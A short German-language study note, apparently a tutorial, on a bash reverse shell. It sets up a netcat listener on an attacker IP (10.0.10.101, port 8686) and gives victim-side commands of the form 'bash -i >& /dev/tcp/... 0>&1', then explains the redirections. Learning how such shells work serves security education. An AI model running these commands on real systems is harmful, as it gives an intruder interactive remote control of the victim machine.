Angreifer

IP Angreifer 10.0.10.101

netcat -lp 8686

Opfer

So findet man es im Internet

bash -i >& /dev/tcp/10.0.10.101/8686 0>&1

Für mich besser lesbar

bash -i > /dev/tcp/10.0.10.101/8686 2>&1 0>&1

bash -i > /dev/tcp/10.0.10.101/8686

Öffnet eine interaktive Shell und leitet die Ausgabe den den Socket zu 10.0.10.101:8686

==

leitet die Standardausgabe und den Fehler auf den Socket um, der für die IP 10.0.10.101 geöffnet ist, die auf Port 8686 lauschen würde

0>&1

Man kann es auch 0<&1 schreiben. Dies würde buchstäblich bedeuten, dass "0" an "1" angehängt ist, was bedeutet, dass stdin an stdout angehängt ist, und aus Punkt 2 wissen wir, dass die stdin für diesen Bash-Prozess für den Angreifer verfügbar ist, der Port 8686 abhört.